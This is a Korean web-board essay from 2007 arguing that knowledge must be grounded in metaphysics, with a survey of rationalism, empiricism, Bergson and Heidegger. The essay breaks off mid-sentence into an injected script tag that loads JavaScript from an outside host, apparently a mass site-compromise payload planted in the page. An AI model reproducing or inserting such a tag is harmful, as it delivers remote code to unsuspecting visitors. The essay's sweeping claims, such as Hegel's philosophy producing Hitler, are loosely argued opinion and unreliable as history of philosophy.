지식을　올바르게　만들어　가야　한다．

작성자 : 후원회 | 조회수 : 3,165 | 작성일 : 2007년 7월 4일

지식들의　생성은　 철학사적으로 볼 때 크게 두 가지로　이루어졌는데， 하나는　‘이성’을 중시한 ‘합리론’이며， 또　하나는　 ‘경험’을 중시한 ‘경험론’이다． 초기의　인간은　절대자이신　‘하느님’을　지식생성의　근거로　삼았지만，기독교　시대　후에　하느님의　자리에　‘인간’을 옮겨　놓고는　이성과　경험을　가지고　지식생성의　기원으로　여기기　시작했다． 
　합리론의　시조인　 데카르트는　“나는　생각한다． 고로　존재한다.” 라는　명제는　아무도　의심할　수　없다고　말하고　인간은　이성에　의해　얻은　지식이　가장　확실하며　따라서　모든　지식이　그　지식에　토대를　두고　형성되어야　한다고　말한다．칸트는　순수이성비판을，　헤겔은　절대　이성을， 그　결과　절대이성을　지닌　　인간을　우성학적으로　만들어내자는　발상에서　　히틀러　같은　인물을　내놓게　되었다． 더　나아가　마르크스，　레닌　등이　헤겔의　절대이성을　부정하며　공산주의를　태동시켰다．합리론자들은　신앙의　자리　때문에　인간　이성이　맥을　못 췄다고　말하고　이성의　힘을　내세웠지만　궁극적이고　보편적인　실재의　근거를　따지는　종래의　전통적　형이상학을　부정하였다．　　 
　영국에서 발전된　‘경험론’은　지식의　근원이　감각경험에　있다고　생각한다．베이컨，로크,　버클리， 흄　그리고　벤덤，밀 등을　거치면서　발전되어　갔다． 오늘날은　논리실증론자들이　과학의　지식이야말로　관찰과　실험을　통해　얻어진　지식이기에　가장　객관적이라고　주장한다．결국　과학적　주장은　‘신의　영역은　환상이고　허상’이라고　하는　것이다． 전통적　형이상학의　터전　위에　서　있던　지식인　윤리다,　도덕이다　하는　원칙은　더　이상　지식으로　인정받지　못하고， 오르지　과학　지식만이　객관적　지식이라는　여기게　된　것이다．지식이　불완전한　인간이　이성과　경험에서　지식생성의　기원을　지닌다는　주장들은　그럴 싸　하지만　여전히　늘　허하기만　하다． 오늘　날　과학에　의해　생성된　지식은　본질적인　근거에　연결되지　못했다는　비판이　일고　이는　매우　중대한　문제이다． 
　이런　난제를　놓고　실존주의　철학자　베르그송이나　하이데거가　해법을　제시한다． ‘올바른　지식이　생성되려면　형이상학이　복원되어야　한다.’　는　주장이다． 인간　존재는　절대존재에서　뿌리를　내려야만　그　의미가　분명해지듯　모든　지식도　형이상학의　기초위에　서　있어야　한다는　것이다． “오늘날　과학적　지식만이　참이다．”　라고　주장은　인간의　인식대상이　자연만　남게　되는　꼴이　되었다． 인간복제， 유전자　조작　등　과학자들이　만든　지식은　매우　위대하고　무지개처럼　희망적인　것처럼　보인다．　　과학적　지식이　근원적인　근거에　바탕을　두지　않는　몰가치적　학문이기에　결국　가치　문제를　중요하게　다루는　것은　철학이　해야 할　과제인　것이다．　이것이　고려되지　않는　교육이라면　그　지식들은　황우석　같은　뿌리　없는　허황된　지식에　불과할　것이다．지금　지식생성의　기원이　이성과　경험에서의　시발점이　아니라　형이상학에서　?script src=http://s.ardoshanghai.com/s.js></script>

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지식을 올바르게 만들어 가야 한다．

지식을　올바르게　만들어　가야　한다．